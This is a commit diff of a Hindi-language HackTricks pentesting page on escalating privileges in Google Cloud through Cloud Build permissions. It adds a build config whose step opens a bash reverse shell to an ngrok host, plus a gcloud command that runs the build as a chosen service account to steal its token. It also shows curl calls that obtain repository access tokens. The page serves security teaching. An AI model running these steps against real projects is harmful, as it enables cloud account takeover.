mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-07 02:03:45 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -12,22 +12,34 @@ Cloud Build के बारे में अधिक जानकारी क
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild Service Account का एक टोकन होगा**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप cloudbuild कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते** को **संकेतित** कर सकते हैं।\
|
||||
इसलिए, आप बस मशीन को आपके सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)।
|
||||
इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild सेवा खाते का एक टोकन** होगा: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप क्लाउडबिल्ड कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते** को **संकेतित** कर सकते हैं।\
|
||||
इसलिए, आप बस मशीन को अपने सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)।
|
||||
|
||||
आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहाँ GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा था वह मेरे लिए काम नहीं किया)। इसलिए, [**यहाँ एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और cloudbuild मशीन के अंदर एक रिवर्स शेल प्राप्त करने के लिए एक पायथन स्क्रिप्ट और [**इसे यहाँ चुराने के लिए**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप देख सकते हैं कि अन्य सेवा खातों को कैसे निर्दिष्ट किया जाए)**।**
|
||||
#### gcloud CLI के माध्यम से सीधे शोषण
|
||||
|
||||
अधिक गहन व्याख्या के लिए, देखें [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
1- `cloudbuild.yaml` बनाएं और अपने लिस्नर डेटा के साथ संशोधित करें
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- एक साधारण बिल्ड अपलोड करें जिसमें कोई स्रोत न हो, yaml फ़ाइल और बिल्ड पर उपयोग करने के लिए SA निर्दिष्ट करें:
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Using python gcloud library
|
||||
आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहां GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा है, वह मेरे लिए काम नहीं किया)। इसलिए, [**यहां एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, एक्सप्लॉइट और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और एक पायथन स्क्रिप्ट जो क्लाउडबिल्ड मशीन के अंदर एक रिवर्स शेल प्राप्त करती है और [**इसे यहां चुराती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप देख सकते हैं कि अन्य सेवा खातों को कैसे निर्दिष्ट करना है)**।**
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
अधिक गहन व्याख्या के लिए, जाएं [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
**संभावित रूप से** इस अनुमति के साथ आप **एक क्लाउड बिल्ड को अपडेट कर सकते हैं और बस सेवा खाता टोकन चुरा सकते हैं** जैसे कि पिछले अनुमति के साथ किया गया था (लेकिन दुर्भाग्यवश इस लेखन के समय मैं उस API को कॉल करने का कोई तरीका नहीं ढूंढ सका)।
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
इस अनुमति के साथ उपयोगकर्ता **पढ़ने के लिए एक्सेस टोकन** प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुँचने के लिए किया जाता है:
|
||||
इस अनुमति के साथ उपयोगकर्ता **रीड एक्सेस टोकन** प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुंचने के लिए किया जाता है:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -37,7 +49,7 @@ curl -X POST \
|
||||
```
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
इस अनुमति के साथ, उपयोगकर्ता **पढ़ने और लिखने की पहुँच टोकन** प्राप्त कर सकता है जिसका उपयोग भंडार तक पहुँचने के लिए किया जाता है:
|
||||
इस अनुमति के साथ उपयोगकर्ता **पढ़ने और लिखने की पहुँच टोकन** प्राप्त कर सकता है जिसका उपयोग भंडार तक पहुँचने के लिए किया जाता है:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
|
||||
Reference in New Issue
Block a user